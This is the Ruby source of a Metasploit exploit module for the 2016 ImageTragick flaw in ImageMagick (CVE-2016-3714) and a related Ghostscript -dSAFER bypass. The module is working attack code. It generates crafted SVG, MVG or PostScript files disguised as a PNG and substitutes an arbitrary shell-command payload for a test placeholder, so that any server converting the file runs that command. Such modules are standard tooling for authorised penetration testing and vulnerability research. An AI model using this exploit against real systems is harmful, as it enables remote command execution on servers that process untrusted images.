##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'             => 'ImageMagick Delegate Arbitrary Command Execution',
      'Description'      => %q{
        This module exploits a shell command injection in the way "delegates"
        (commands for converting files) are processed in ImageMagick versions
        <= 7.0.1-0 and <= 6.9.3-9 (legacy).

        Since ImageMagick uses file magic to detect file format, you can create
        a .png (for example) which is actually a crafted SVG (for example) that
        triggers the command injection.

        The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
        (discovered by taviso) to achieve RCE in the Ghostscript delegate.
        Ghostscript versions 9.18 and later are affected. This target is
        provided as is and will not be updated to track additional vulns.

        If USE_POPEN is set to true, a |-prefixed command will be used for the
        exploit. No delegates are involved in this exploitation.
      },
      'Author'           => [
        'stewie',            # Vulnerability discovery
        'Nikolay Ermishkin', # Vulnerability discovery
        'Tavis Ormandy',     # Vulnerability discovery
        'wvu',               # Metasploit module
        'hdm'                # Metasploit module
      ],
      'References'       => [
        %w{CVE 2016-3714},
        %w{CVE 2016-7976},
        %w{URL https://imagetragick.com/},
        %w{URL https://seclists.org/oss-sec/2016/q2/205},
        %w{URL https://seclists.org/oss-sec/2016/q3/682},
        %w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
        %w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
        %w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
      ],
      'DisclosureDate'   => '2016-05-03',
      'License'          => MSF_LICENSE,
      'Platform'         => 'unix',
      'Arch'             => ARCH_CMD,
      'Privileged'       => false,
      'Payload'          => {
        'BadChars'       => "\x22\x27\x5c" # ", ', and \
      },
      'Targets'          => [
        ['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
        ['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
        ['PS file',  template: 'msf.ps']   # PoC from taviso
      ],
      'DefaultTarget'    => 0,
      'Notes'            => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [],
        'Reliability' => [],
        'AKA' => ['ImageTragick'],
        'RelatedModules' => [
          'exploit/unix/fileformat/ghostscript_type_confusion',
          'exploit/multi/fileformat/ghostscript_failed_restore'
        ]
      }
    ))

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.png']),
      OptBool.new('USE_POPEN',  [false, 'Use popen() vector', true])
    ])
  end

  def exploit
    if target.name == 'SVG file'
      p = Rex::Text.html_encode(payload.encoded)
    else
      p = payload.encoded
    end

    file_create(template.sub('echo vulnerable > /dev/tty', p))
  end

  def template
    if datastore['USE_POPEN']
      t = 'popen'
    else
      t = 'delegate'
    end

    begin
      File.read(File.join(
        Msf::Config.data_directory, 'exploits', 'imagemagick', t,
        target[:template]
      ))
    rescue Errno::ENOENT
      fail_with(Failure::NoTarget, "Target has no #{t} support")
    end
  end
end
